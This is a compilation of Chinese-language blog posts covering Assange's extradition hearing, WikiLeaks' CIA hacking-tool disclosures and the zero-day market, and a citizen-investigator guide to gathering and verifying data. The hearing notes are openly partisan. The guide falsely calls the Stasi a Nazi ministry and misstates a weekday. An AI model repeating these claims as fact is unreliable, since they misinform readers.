机会改变未来历史的方向，不仅对我国（指意大利），而且对整个世界都具有重大意义。

Maurizi：”媒体合作伙伴在Wikileaks上签订的协议的某些方面，我也许比其他人更感兴趣，因为大多数记者对加密过程没有任何知识 .....”【注：这点和中国非常相似】

Maurizi：“因此，我也许对 Wikileaks 的要求、原因以及每项安全措施的影响有了更多的了解。一个基本方面涉及使用”加密”作为安全措施...”

Maurizi：“...但即使是组织如何创建和利用密码的概念也会有其自身的安全相关性—— 讨论有关这些问题的外部协议可以为局外人提供对组织安全程序的潜在了解..... 我自己 **无论如何也不认为** 公开这种重要的安全方面是合适的。事实上，Julian Assange 在2010年9月在柏林的第一次会面上与我讨论了这些安全问题。”

Maurizi 提供了许多背景历史和知识，因此她可以对检方的指控发表评论—— 这些指控谎称 Assange “故意或不小心将未经编辑的材料扔到互联网上，让所有人都看到并了解其危害”。这是完全扯蛋。

Maurizi：“目标是以受保护的措施访问这些泄漏文件，而不是像建议的那样访问网站。尽管有人提到 Wikileaks 网站上的材料，但如果没有访问密码，它不可能被访问。

Maurizi：“当我得知卫报的 David Leigh 和 Luke Harding 在他们的书里泄漏了密码时，甚至是 Assange 坚持不写下来的密码部分，我都想知道他们是否理解程序.....”

Maurizi：“...我感到惊讶的是，（AUSA）的 Kromberg 居然依赖 David Leigh 的话，”—— 《卫报》2011年出版的关于 Wikileaks 的著作导致美国政府未编辑文件的出版是完全错误的。将密码保密是非常基本的安全措施。

【注：Maurizi 的证词非常重要，都是反驳检方谎言的重点。这部分稍后可能有更详细的总结。】

Abu Omar 于2003年2月17日在意大利的国土上被美国中央情报局绑架。Omar 被酷刑折磨。2012年和2014年，26名美国人—— 几乎都是中情局特工—— 被意大利最高法院缺席审判并定罪。

请注意：意大利政界人士阻挠了独立的意大利检察官的工作。他们拒

绝提出引渡请求。**26**名美国间谍中，有**3**人被两位不同的意大利总统赦免。

Maurizi: 在幕后，“美国外交施加了秘密和无情的压力，多年来一直向意大利政府高层施压”以阻挠问责 。她只能在一本书中感谢 Wikileaks 的泄漏的电报，而不能说太多。

现在辩方正在阅读 Michael Tigar 教授的声明，他是一名美国律师，专注于国家安全和人权法，他曾协助揭露水门事件丑闻。

Michael Tigar 的证人陈述强调了披露的信息的道德性和 WikiLeaks 的历史意义， 如 伊拉克交战规则和关塔那摩被拘留者评估。

Tigar 概述了检举和新闻防止不公正 “是实现重要的社会改革至关重要的步骤”， 他列举了 Seymour Hersh 的例子。

【注：Seymour Hersh，著名调查报导记者与编辑，普利策奖得主。他定期投稿到《纽约客》。 1969年，他报导了越战中的美莱村屠杀，开始闻名，并因此获得1970年普利策国际报导奖。2004年，他报导了美军在巴格达中央监狱的非法监禁与刑求，再次引起社会关注。 】

Tigar 指出，检方的开场包括 “新闻” 一词，而起诉书称 Wikileaks 为 “人民情报局”，而不使用 “新闻” 一词。这是故意的。

Tigar 谈论记者与消息来源合作、寻求信息的工作是完全的常规；他谈到新闻在记录战争罪行方面的重要性。然后讨论过度保密如何成为当权者的掌权铁腕—— 美国法律不允许质疑保密状态。

Gareth Peirce 的几份声明，第一份阐述了 Assange 获得厄瓜多尔庇护的历史，因为他担心美国引渡，回顾了大使馆间谍案，Assange 在大使馆被没收合法财产。

【背景资料：列宁·莫雷诺的厄瓜多尔将 **Assange** 的全部法律辩护材料交给了美国 https://wikileaks.org/Ecuador-to-hand-over.html 】

Pierce 的声明讨论了她自己与Assange在大使馆的法律会议被间谍窥探。

Pierce 的第二份声明详细说明了从厄瓜多尔大使馆查获的属于 Assange 的法定特权材料。当他们收集扣押 Assange 的财产时，“所有法律特权材料都不见了”，除了一些法庭文件。

Pierce 说，Assange 怀疑这件事，但当时还没有完全证实这些间谍入侵大使馆的程度。她公开评论说，“因此，高度的焦虑” 占了上风。他们担心 Assange 与律师的谈话继续受到监视。

Assange 的律师 Edward Fitzgerald 说，Pierce 的陈述涉及案件的政治性质，滥用权力，以及担心被引渡。

下一位证人是 Aitor Martínez，他是西班牙律师，在 **Baltasar Garzon** 的公司工作，负责间谍公司 **UCGlobal** 的案子，他声明的是关于西班牙对该间谍公司的刑事调查。他向法庭提供了针对 UCGlobal 董事 David Morales 的刑事案件的最新情况，以及有关美国在背后阻挠调查的最新情况。可以访问 UC Global 服务器的IP地址正在调查中。

除了关于被扣押的法律特权材料的第二份陈述外，很难从 Pierce 的陈述中读到更多内容。这完全是该袋鼠法院法官的问题，法官不允许在法庭上全文宣读陈述。

美国检方 James Lewis 反对使用这些新的证人证词。

【注】诉讼变得相当有争议，因为辩方试图提交材料，这是常规的，但法官阻止。美国检方 **James Lewis** 表示反对，即使材料私下讨论时他们有一致的同意。这些材料不会抢头条，但法官明确表示，她将拒绝接受任何进一步的证据—— 请注意，我们谈论的不是要求法官允许作证的其他证人；而是证据文件，这些文件可以帮助辩方论点或减少误解。听证会的最后一天非常令人沮丧。

考虑到在过去的几天里，检方甚至反对提交证据，UCGlobal 间谍公司的证据，检方声称证据与美国引渡案 “并不真正相关”。今天，辩护人 Mark Summers 告诉法官，在她做出判决之前，西班牙关于该间谍公司案件的裁决就能得出。【简单说，不论你同不同意，事实就在那里】

法官说判决将于2021年1月4日作出：伦敦时间上午10点。现在完成听证会的证据阶段。辩方有4周时间提交结案陈词，然后控方有2周时间提交回应。Julian 将一直被拘留，直到裁决。〇

原文

零日漏洞和 CIA 黑客工具 - iyouport

Wikileaks你应该了解的现实

【2017年4月13日存档】

Wikileaks 曾发布过 CIA 广泛使用的黑客工具的细节 —— 针对 Windows，Android，iOS，OSX和 Linux 计算机系统以及联网路由器的恶意软件。部分软件是内部开发的，并且据说英国的军情五处曾协助三星电视制造间谍软件攻击。

根据日期为 2014 年 6 月的文件，代号为“Weeping Angel”的三星 F8000 系列智能电视受到损害。文件描述了假关机模式，旨在欺骗用户相信他们的屏幕已被关闭。

文件表明，受感染的电视机被隐藏录制音频，一旦电视机完全切换回来，将通过互联网传送数据到 CIA 的计算机服务器。

截至2016年，中情局已经建立了 24 个 Android 的“零日”武库。其中一些据说是由中央情报局自己开发的，其他一些据称是从英国的 GCHQ 机构以及 NSA 和未命名的第三方获得的。

由三星、HTC 和索尼等公司制造的设备因此受到了损害，漏洞允许中央情报局在“应用被加密之前”进入 Whatsapp，Signal，Telegram 等聊天服务。

中央情报局中一个专门单位的工作是瞄准 iPhone 和 iPad，允许该机构看到目标对象的地理位置、激活他们的设备的摄像头和麦克风，并阅读文字通信。该部门还利用 GCHQ，NSA 和 FBI 获得的进一步 iOS “零日漏洞”。

零日漏洞或零时差漏洞（Zero-day exploit、 zero-day、0-day）通常是指还没有打补丁的安全漏洞，而零日攻击或零时差攻击（Zero-day attack）则是指利用这种漏洞进行的攻击。

提供该漏洞细节或者利用程序的人通常是该漏洞的发现者。零日漏洞的利用程序对网络安全具有巨大威胁，因此零日漏洞不但是黑客的最

爱，掌握多少零日漏洞也成为评价黑客技术水平的一个重要参数。

零日漏洞及其利用代码不仅对犯罪黑客而言具有极高的利用价值，一些国家间谍和网军部队，例如美国国家安全局和美国网战司令部也非常重视这些信息。据路透社报告，美国政府是零日漏洞黑市的最大买家。

一般而言，零日攻击唯一彻底的解决方法便是由原软件发行公司提供修补程序，但此法通常较慢，因此软件公司通常会在最新的病毒代码中提供回避已知零日攻击的功能，但无法彻底解决漏洞本身。

根据赛门铁克第14期网络安全威胁研究在 2008 年分析的所有浏览器中，Safari 平均要在漏洞出现 9 天后才会完成修补，需时最久。Mozilla Firefox 平均短于1天，需时最短，因此最安全。

零日漏洞曾经非常少见。数以百万计的安全公司每月检测并进行处理的恶意软件中，只能发现一到两个零日漏洞利用代码。而如今，越来越多的零日漏洞被人们利用和发现。很大程度上，这是由于政府情报机构需求的驱使，导致了零日漏洞和漏洞利用代码交易市场的壮大。

零日漏洞交易有三个群体：犯罪黑客交易侵入系统、盗取密码和信用卡号的漏洞利用代码和漏洞信息的黑市；充斥着漏洞悬赏活动的“白色市场”，研究人员和黑客在这里把漏洞信息提供给供应商，可获得相应的赏金，同时漏洞也得以修复——在这个市场活动的还有安全公司，他们购买零日漏洞利用来进行渗透测试，以确定客户系统是否易受攻击；“灰色市场”，这里面很多研究人员和公司都是军用网络的承包商，他们将零日漏洞利用代码和漏洞信息卖给军方、情报机构和执法机构，后者可通过这些信息实施监管和计算机进攻行为。

一些著名的零日漏洞攻击：

Stuxnet——目标锁定位于伊朗纳坦兹的铀浓缩工厂计算机的病毒/蠕虫，将五段零日漏洞利用代码分散植入系统，并获取了特许存取权限。其中一个漏洞在攻击者发动攻击前被微软进行了修复，因此从技术上来讲，Stuxnet 被发现时它只使用了四段零日漏洞利用代码。

极光行动（又称欧若拉行动）——在2010年，一批据称源自中国的黑客，通过一个存在于多版本 IE 浏览器上的零日漏洞，入侵了谷歌、奥多比和其它十多家公司。这些攻击者至少取得了谷歌的部分源代码，目的可能是对其进行研究，以及从中发现更多零日漏洞供后期使用。攻击者背后的团队现在仍然活跃，且自该事件后，又被发现至少

使用了八次其它的零日漏洞利用代码。

RSA 黑客——被认为和攻击谷歌公司的黑客是同一批人，通过一段奥多比 Flash 播放器中的零日漏洞利用代码，对网络安全公司的工作人员进行鱼叉式钓鱼攻击。攻击者成功窃取了公司 SecurID 二元认证产品的相关信息。

零日漏洞的价格可以达到很高——5000美元到几十万美元不等——这依赖于多个因素：在很多 Windows 操作系统版本中都存在的漏洞要比在软件的一个版本中存在的更有价值。然而，因苹果系统比其它手机系统更难攻破，锁定苹果 iOS 系统的漏洞会更值钱。那些绕过嵌入式安全技术（例如植入到浏览器的沙盒技术，可阻止恶意软件通过浏览器入侵进而感染整个操作系统）的漏洞利用，仍能将锁定标准浏览器漏洞的利用代码带到系统中去。

自2010年 Stuxnet 事件后，关于美国政府使用零日漏洞攻击的争议就一直持续不断，而随后 Edward Snowden 披露的政府黑客行为更让这场争议愈演愈烈。白宫曾宣布过了一项政策，指出国安局将公开其发现的部分软件零日漏洞，确保其获得修复，但那些有“明显的国家安全或执法需要”的例外，将仍被保密并可能被利用。

Julian Assange 接受德国之声采访时曾说，电子监控、网络谍报本是 NSA 的专长，而现在 CIA 却在自己机构内部又搞了一套类似职能的班子，“所以 CIA 就变成了一个巨大无比的黑客间谍机构，弄出了一大堆网络谍战武器，然后还失去了对这些武器的控制。”

他指出，网络武器本质上就是代码，所以扩散风险特别高；要是这些武器的拥有者无法确保代码的加密存储，风险还要更大。而 CIA 现在就面临这样的情况。Assange 还表示，Wikileaks 已经将情况告知了受到 CIA 软件威胁的企业。

他说，欧洲企业很快就对此作出了反应，相比之下，美国的科技企业却有点无动于衷；谷歌、微软、苹果等企业都表示要让公司法务部门仔细斟酌维基解密提供的帮助。

Assange 强调，美国企业中，唯一的例外是 Mozilla 基金会。

Assange 认为，谷歌、微软等大型美国企业同美国政府有着千丝万缕的联系，”他们也为美国情报部门工作，因此许多员工、尤其是在网络安全部门工作的企业员工，也有一定的安全涉密级别。但是，根据规定，拥有涉密级别的人，就不能接受 (Wikileaks 的) 泄密信息。”

Assange 由此认为，这些美国企业同政府过往甚密，因此无法保护用户免受情报机构的侵袭。

Wikileaks has published details of what it says are wide-ranging hacking tools used by the CIA.

The alleged cyber-weapons are said to include malware that targets Windows, Android, iOS, OSX and Linux computers as well as internet routers.

Some of the software is reported to have been developed in-house, but the UK's MI5 agency is said to have helped build a spyware attack for Samsung TVs.

原文

如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据 - iYouPort

解码秘密

能做的事有很多。公民的直接行动最基本需要的是：开动脑筋，发挥创造力

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》。

> 关于这份指南：来自8个国家的11人参与了这份指南的编写工作；在38个案例研究中介绍了来自20个国家的情况；配有76张图片；推荐了64种工具和89种资源。
>
> 本指南适合所有国家的公民调查人员、非政府组织、独立权利组织、反抗社区，即 所有支持直接行动的人和群体。

同样：建议您按顺序阅读本手册。

本集将继续前文内容，开始研究收集这些数据的技术和处理方法。

「图」

「图」

收集

这一节中将介绍四种思考您所拥有的或已经发现的数据的方法，以及如何帮助他人最大限度地利用这些数据。接下来将采用实用的方法，通过三个教程来展示如何获取通常情况下无法获取的数据。

Suzanne Vega 的《Tom’s Diner》是90年代初第一首被压缩成.mp3格式的歌曲。当 Karlheinz Brandenburg 在柏林的弗劳恩霍夫研究所（Fraunhofer Institute）工作时，他开发了.mp3格式，极大地提高了现在人们在电脑上分享和存储音乐的能力。

同一研究所开发了一种技术，从柏林墙倒塌后斯塔西匆匆撕毁的数亿份文件中收集证据。

斯塔西 —— 更正式的名称是纳粹的国家安全部 —— 是德意志民主共和国在1950年至1990年期间的官方国家安全机构，以极其有效的和压制性的秘密警察机构而闻名。

「图」

「图」

上图中这本书在这里下载：*https://www.patreon.com/posts/mi-mi-jing-cha-40693613*

斯塔西以热衷于使用纸张而著称，他们将所了解到的关于他们所监视的人的一切情况都记录在案。1989年柏林墙倒塌后，斯塔西知道自己风头已过，他们将因监视民众而受到调查。他们出动了劣质的碎纸机来销毁他们积累的纸质记录；碎纸机坏了，他们就用手把文件撕碎，塞进麻袋里。而在销毁这些麻袋之前，斯塔西总部就被包围了，这些麻袋被新的联邦当局截获。

几十年后，弗劳恩霍夫研究所发明了一种叫做电子拼图器的技术 ePuzzler。ePuzzler 使匹配和重建整个斯塔西文件成为可能。

- 《斯塔西的世界》

首先，每一张被撕碎的纸张都必须进行扫描。在扫描过程中，有关纸张的大小、形状和记号的数据都被数字化记录下来。然后，电子拼图器使用数学公式将纸张的大小和形状信息与其他约6亿张纸片进行匹配。

「图」

「图」

Image showing unsorted fragments of various sizes” Source: BStU/ Jüngert

ePuzzler 的诞生有很多有趣的原因。2007年，弗劳恩霍夫研究所面临着一个看似不可能完成的任务，即：为了调查从1950年一直到1989年的斯塔西及其秘密警察活动而匹配数百万张纸片。他们没有依靠已有的技术，而是创造了一种新技术来应对这一挑战。

📌 这个案例研究还表明，在收集信息的同时，您可能不知道这些信息什么时候会变得有用。当调查人员在20世纪90年代收集这些无穷无尽的碎信息袋时，他们不可能知道20年后，科学家们会发明一种技术，可以自动将这些信息重新拼凑起来。

由于数字技术使信息的共享、存储和发现更加方便，因此，有了处理数据的新的可能性。

然而，您建立调查所需的数据从来都不是现成的，也很可能不是以您可以立即使用的方式或格式组织起来的。于是您经常不得不在互联网上四处搜索，以找到所需的数据；有时，数据采集的过程不得不求助于许多不同的人。

开放数据的倡导者认为，公共机构发布信息和数据时，不仅要考虑到现代的在线习惯，并且，他们应该以消除任何形式的重复使用的技术、财务和法律障碍的方式进行操作。

📌 在实践中，这意味着设计发布不同类型信息的方法和标准时，其方式要能预见到但不排除人们可能想用它来做什么。

这包括确保信息以数字格式发布，可以在常用的桌面工具（如电子表格）中使用，并使用共同的标准来实现数据集之间的链接。

这项重要的技术工作消除了挖掘数据中蕴藏的潜力的实际障碍，有助于实现呼吁获取数据所建议的必要行动。

本节分为两部分。

第一部分 “让数据在线有用”，介绍了四种思考您所拥有或发现的数据的方法，以及您如何帮助他人最大限度地利用这些数据。

第二部分“如何在无法访问数据时访问数据”，通过三个教程，以实用的方式获取数据：#访问锁定在PDF电子表格中的信息

- 利用抓取工具将网站变成电子表格
- 关于团体和个人的教程，以及相关示例

1. 我们曾经在工具箱里介绍过它，见《民间数据库和处理分析工具：挖掘黑钱、腐败、有组织犯罪、离岸公司……》
2. Agitagogo：Tony Bowden 撰写的《公民黑客行动主义手册》，其中载有关于如何建立不可怕的公共服务网站的提示。

- 《开放数据手册》：开放知识基金会关于开放数据的社会、技术和法律方面的指南。
- Data Driven Journalism ：一个查找技术和新闻的便捷资源。
- Wikileaks 数据新闻：“我们是如何处理数据的” —— 实际考察《卫报》将一大堆数据转化为新闻故事的过程。

1. 不同类型的数据，如文本、数字和日期

- 文本样式，如标题、段落和要点
- 可预测的布局，如一个大标题，一个小标题，然后是两个段落，另一个标题，等等

1. 无论是在计算机上还是在互联网上，仔细阅读您告诉软件的所有38个文档（scraper-parser 也可以浏览互联网）

- 根据您为其编写的规则，提取您告诉它的数据
- 复制所有数据并存储到一个电子表格中

1. 查看ZPP每天发布报告的网站，如果有新的报告出现，下载它并通过电子邮件通知您，然后将其添加到您的电子表格的报告列表中

- 在报告中加入新的栏目，包括报告发布的日期，以及报告中记录事件的页码（这样您就可以更方便地在此后任何时候检查数据是否正确）
- 为您更改每个日期的格式，例如，把2004年9月27日改为27/09/2004
- 自动将电子表格转为在线电子表格（如 Google Spreadsheets），可在网上自由分享，并在有新数据出现时进行更新

1. School of Data 提供了各种课程：比如，如何在不使用代码的情况下从网站上刮取数据，如何从PDF的表格中刮取数据，以及更多针对程序员的高级教程；

- Scraperwiki 是一个解锁PDF、推文和网站中数据的工具。不论是技术用户还是非技术用户都可以使用；
- Pro Publica 制作了一份指南，介绍他们如何收集数据，以显示美国制药公司和医生之间的联系

1. 从网站收集内容

- 将提取的内容转化为电子表格
- 检查内容是否以及如何随着时间的推移而改变

1. 使用这个服务会不会把我调查的目的透露给别人？

- 我问这些问题是否会让自己或他人处于危险之中？

1. 检查被抓取的内容是否受版权保护

- 确保使用的抓取工具不会影响到目标网站的服务和能力
- 检查网站的使用条款是否禁止抓取
- 尽量不要收集敏感的用户信息
- 如果您不确定您的行为是否合法，可以首先向律师核实

1. 《公民取证技巧：如何留住真相？》

- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》

1. The Quartz 的指南：详尽描述了现实世界数据处理中出现的问题，以及如何解决这些问题的建议。

在下一集中我们将开始分析数据，以及研究网络调查模型和可视化，继续提供技巧、工具和资源。下次见。〇

—— 未完待续 ——

原文

如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化 - iYouPort

解码秘密

挖掘和收集数据是为了理解，对于活动家来说是帮助您的受众理解您的运动的一种很有效的方法，但您必须注意一些关键问题 ……

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》

> 关于这份指南：来自8个国家的11人参与了这份指南的编写工作；在38个案例研究中介绍了来自20个国家的情况；配有76张图片；推荐了64种工具和89种资源。
>
> 本指南适合所有国家的公民调查人员、非政府组织、独立权利组织、反抗社区，即 所有支持直接行动的人和群体。

同样：建议您按顺序阅读本手册。

本集将继续前文内容，开始研究数据的处理方法和技术资源。

「图」

「图」

📌 今天的内容中涉及到的资源您可以在这里下载：https://www.patreon.com/posts/jie-ma-mi-mi-di-44147634

分析

这一集中将重点介绍如何准备好您发现和收集的数据，以便在您的调查中使用。我们将介绍围绕数据的结构化、分类和标准化的技术，并检查您可能已经需要脱离电子表格而转向数据库的五个迹象。之后就可以进入如何连接数据点和用数据讲故事的阶段了。

活动家、调查人员、记者和艺术家需要自己去寻找数据，并把这些点连在一起：只有很少的情况下，完整的画面才会呈现出来。在最近对艺术家、研究人士、作家和调查者 Mari Bastashevski 的采访中，她说到：

“无论我用数据做什么，我都会把它带回模拟世界，然后再把模拟数据重新放到网上。有两类主要的文件对我的工作过程至关重要：有用的（脚注）和无用的（对象）。前者为叙事提供信息和地图，后者是原材料，是叙事的肥料。”

对数据进行结构化，分类和标准化

调查人员需要抓住所提供的机会，而且往往不得不在资源非常有限的情况下工作。为了存储和理解收集的数据，公民调查人员经常使用廉价的、无处不在的软件，如大多数计算机上预装的电子表格。

为监测具体活动或记录事件而收集数据，起初似乎令人激动，特别是如果您对这些信息如何有助于辩论有一个明确的愿景。然而，📌 为了使数据有用，必须对数据进行良好的组织和设计，以便能够以有意义的方式对其进行整合、分析和展示。

您将需要了解一些起初看起来很有挑战性的事：如何使信息标准化，如何输入信息以便日后整理，以及如何在组织中使用数据。我们将在下面的章节中讨论这些方面。

数据的输入必须一致。如果不一致，那么就很难准确地进行搜索、统计、排序和过滤。

「图」

「图」

如上。这里的问题很容易发现，但在收集数据时，每天都会以这样或那样的形式重现这种错误。减少这些错误的方法之一是使数据输入方式标准化。这意味着要对如何一致地表示数据进行选择。

想一想您可以如何描述一个事物的所有方面；这是一个您可以很自然地做到的过程，而且有许多不同的、同样可信和准确的方法来做到这点。

例如：#日期和时间：1976年11月1日 星期四，November 1976, November 1st 1976, 19761101, 11/01/1976，都是表示同一日期的方法。

- 姓名：人和事物的命名是非常复杂的，在不同的地区和文化中都有不同的命名方式。您是写 “联合国” 还是 “UN”？是写全名还是只写姓氏？对于外国人来说，中间名是否写出完整的单词？（Assange 的全名是 Julian Paul Assange，或者 Julian P. Assange，或者 Julian Assange 这是同一个人）
- 地点：一个事件的地点是通常要被记录的数据。但在描述地理数据时，您需要多具体？您可以用经纬度来精确描述；也可以用一般的描述，比如 一个国家的行政地理（镇、市、区）、选举地理（选区）或业务地理，比如警察局所覆盖的区域。

1. “小” = 1 ~ 99 名参与者

- “中” = 100 ~ 499 名参与者
- “大” = 500 ~ 999 名参与者

1. Knight 数字媒体中心有关如何使用电子表格的出色指南和技巧

- HURIDOCS events standard formats : a tool for documenting human rights violations 关于如何构建有关侵犯人权行为的信息的最全面的说明，以及对信息学概念和数据系统的良好总体概述。（可下载）
- Follow The Money: A digital Guide to Track Corruption 这是对腐败调查的一个详细指南。（可下载）
- 同样来自 Knight Digital Media Center 的 “清理” 数据教程，涉及查找和修复数据输入、标准化和数据结构方面的问题。

1. 如果一个字段中包含日期，请对其进行排序，以显示最早的日期，这样您就可以检查是否有日期写错（例如，2011年而不是201年）。

- 如果您在单元格中使用了一组标准术语，如国家名称，那么处理数据的人员可能无法一致地输入这些术语。例如，用户可能会犯输入错误，输入“堪倍拉”而不是“堪培拉”。大多数电子表格通过列出任何一列中包含的唯一值来显示这些错误：它将对这两个错误进行不同的处理，这样您就可以看到它。
- 如果每一行数据都应该有一条信息在里面，那么一个空单元格可能表明有人忘了输入一条数据。您可以要求电子表格计算一行中的任何空单元格，如果有，则用“红色”突出显示该行。

1. 您开始对电子表格中的东西进行颜色编码，并创造了一些小的“技巧”（比如在一行数据中添加“AAA”或“!!!!”，以确保它出现在顶部）才能方便查找数据。

- 您经常不停地滚动查找和编辑信息，甚至您直接买了一个更大的电脑显示器，以便可以在屏幕上看到更多的数据。
- 不同的人需要将数据输入到电子表格中，因此您需要花时间通过电子邮件将数据发送出去，并将数据复制和粘贴到一个“主”电子表格中。
- 您经常需要重新格式化以适应不同工具的需求，以制作图表、地图或图形。
- 您开始创建多个电子表格，以统计其他电子表格中的数据。

1. 一天、一周或一个月内有多少订单？

- 每道菜卖出了多少份，在一天中的哪些时段？
- 每个饭局的平均规模

1. 数据库的世界充满了不同的技术选择：数据库平台、编程语言、接口类型等等，对于新手来说，这些都有点吓人。

- 您也许不太可能自己动手。您需要与信息架构师、程序员、交互设计师等技术人员合作。您需要的是知道该相信谁，弄错了可能会付出代价。
- 您需要确保数据库能解决您工作中的正确问题，并且您有资源来持续使用它。
- 但也许最重要的是，从电子表格到数据库的转变代表了一个巨大的态度转变，不再满足于眼前的事，而是挑战既定的工作方

式。对于将数据作为工作核心的活动家和公民调查人员来说，问题是：工具的局限性在多大程度上浪费了您的时间、对数据的利用不足、或阻碍了您的工作？

1. 重点是什么？您想让受众理解什么，为什么？

- 从数据中向外延伸：要清楚数据告诉您什么。考虑数据是否需要简化、背景化或用其他数据来充实您的观点。
- 涉及信息：您将如何在粗略的数据中汇集您的故事？如何在不误导或过度概括的情况下，用简洁而有说服力的方式来构思？
- 寻找视觉故事：可以使用哪些视觉设备以引人入胜的方式来呈现信息？视觉设计如何帮助组织数据并赋予其意义？

1. 在这里看一个例子《政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？—— 围观 Twitter 活动地图》
2. 不强调流的可视化，意味着只有节点和边的布局就足以说明整个故事。

- 通过呈现有限的节点和边的清单，可能意味着在暗示呈现在人们面前的是完整的网络，而不涉及其他节点或关系。
- 网络是一个极其灵活和抽象的模型，在它的节点和边上游走，可能很快就会把您带进坑里，走入死胡同或发展出可疑的阴谋论。请谨慎处理。
- 网络需要叙事，既可以作为注释层，也可以作为展示示范性网络流的方式。
- 方向性是很重要的，可以作为一种有用的方式来布局一些网络流甚至协议。
- 时间是我们生活中的一个组织原则，有时也可以在网络的可视化表现中起到类似的作用。
- 算法可视化是网络图和整个数据可视化的下一个前沿。当然，前提是开源革命守住它成功的旗帜，彻底打破专有黑箱。

1. 《The Exploit : A Theory of Networks》这是一本帮助您清楚地了解网络运作方式的书，并理解这种新兴权力形式的政治含义。它消除了所谓的“自由” 和 “民主” 网络的肤浅概念，并提供了关于网络协议如何创建新型控制的丰富分析。（可下载）

- Visualizing Complexity 这是一个做网络图的网站，您可以看到他们有很多资源。对复杂网络的可视化感兴趣的任何人都可以使用它，您可以从这里获得启发。

- Visualizing Algorithms
- Responsible Data 这是一个做数据的社区，他们还提供资源和参与机会。

1. 《无处可藏的数字足迹—亦正亦邪元数据 (上) 》

- 《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下) 》

下一集我们将直接进入验证阶段 —— 虚假的数据/信息对调查人员是一个严重的误导，要避免这点，公民调查就需要将验证信息的技巧作为一个基础来重视它。

我们下次见。〇

原文

如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧 - iYouPort

解码秘密

对媒体不要完全相信，他们只会报数，他们是权力机构的复读机，而经常不去考虑这些数字是怎么来的。您是公民调查人员，您有捍卫真相的义务

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》

> 关于这份指南：来自8个国家的11人参与了这份指南的编写工作；在38个案例研究中介绍了来自20个国家的情况；配有76张图片；推荐了64种工具和89种资源。
>
> 本指南适合所有国家的公民调查人员、非政府组织、独立权利组织、反抗社区，即 所有支持直接行动的人和群体。

同样：建议您按顺序阅读本手册。

「图」

「图」

今天的内容中涉及到的资源您可以在这里下载：https://www.patreon.com/posts/jie-ma-mi-mi-4-44302928

验证

如您所知，虚假信息的传播速度往往是疯狂状的，远超过真相的受关注程度。于是信息核查在任何情况下都非常重要。📌 在本集中，我们将讨论在哪里、是什么、为什么和是谁等基本核查问题，并介绍一些工具和技术，以帮助调查人员核实在网上找到的数据。

本集的案例是从叙利亚冲突开始的。这场冲突是历史上被记录最多的战争，目前仍在进行一系列的记录工作：从跟踪叙利亚考古遗址的破坏程度、到列出虐待妇女的恶行、以及失踪人员的情况。每项工作都从一系列媒体来源 —— 如文本文件、照片和视频 —— 中获取信息。

这些文件不仅影响了关于叙利亚的公众舆论，使人们能够了解叙利亚现实的真相，而且也是对未来同样重要的文件。我们曾经推荐过一本书：《我们自己的反抗》。

「图」

「图」

当叙利亚政权因其罪行而被追究责任时，这些文件中有很多都有可能成为证据，并在国际法庭上提出。然而，📌 要想让这些信息在法庭上使用，或让信息来源值得信赖，就必须对其内容进行充分的核实。

在媒体对紧急情况的报道中，信息往往传播得非常快，而且在分享之前不需要其他人核实其真实性。用户生成内容 (UGC) 的盛行，即：由推文、数字图像、博客、聊天、论坛讨论等形式产生的内容，也意味着越来越多的人在记录侵犯人权的行为以及战争和灾难的画面。新闻编辑室往往时间紧迫，他们更愿意将速度置于准确性之上，导致断章取义或数字化增强的图片和视频、以及含有错误信息的文本文件的广泛传播。

叙利亚不仅是战争的重灾区，也是假消息泛滥的重灾区；尤其是，真相需要被挖掘出来以提交给国际法庭，于是对调查的专业性要求是最

高的。以叙利亚为例将更容易说明公民调查技巧的高标准。

来自叙利亚和其他国家的记者一直在努力核实与冲突有关的数字内容，这是一项很辛苦的工作，因为有太多已被证实为完全捏造的事件被热传，甚至已经变成了部分公众的基本认知。

一个例子可以从 Abdulaziz Alotaibi 在 Instagram 上发布的照片中看到：照片显示一个孩子睡在父亲和母亲的坟墓之间，作为对一个刚刚失去家人的叙利亚儿童的描述。您可能也看过这张照片，它在社交媒体上疯传，包括政客在内的无数人都在讨论它，甚至一些新闻机构也用它来撰写 “突发新闻报道”。

「图」

「图」

Image taken by Abdulaziz Alotaibi

📌 没有人努力去核实这张图片，也没有人提出以下这些最基本的问题：

- 照片是在哪里拍摄的？
- 什么日期拍摄的？
- 为什么拍摄？背后有什么故事？

当 Alotaibi 看到这张图片被错误地使用时，他发布了另一张照片，以表明这实际上是一个艺术项目。这张照片并不是在墓地拍摄的，孩子是他的侄子。

「图」

「图」

Image taken by Abdulaziz Alotaibi

本集内容将讨论在哪里、是什么、为什么和是谁等基本核实问题，并介绍一些工具和技术，以帮助调查人员核实他们在网上找到的数据。

📌 在开始之前，我们要强调两个重要因素：没有任何单一的、神奇的工具可以用于所有核查目的，以及，如果您不采取具体的预防措施，使用在线工具可能会损害您的利益。

1、不存在那种能统治一切的工具

本节后面的内容将介绍各种工具，帮助您确定网上内容的真实性。然而，这些工具通常只有与其他工具结合使用才会有效；在许多情况下，与当地的消息来源交谈是很有帮助的，但要确保您与他们的交流安全，以免让他们或您自己处于危险之中，尤其是在您调查敏感问题的时候。

📌 关于具体做法和其中的原则和技巧，请详见下面的内容。

- 首先是 “不再吃瓜” 板块中的两集内容（该板块在列表-3中）：
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用—公民调查指南（5）》
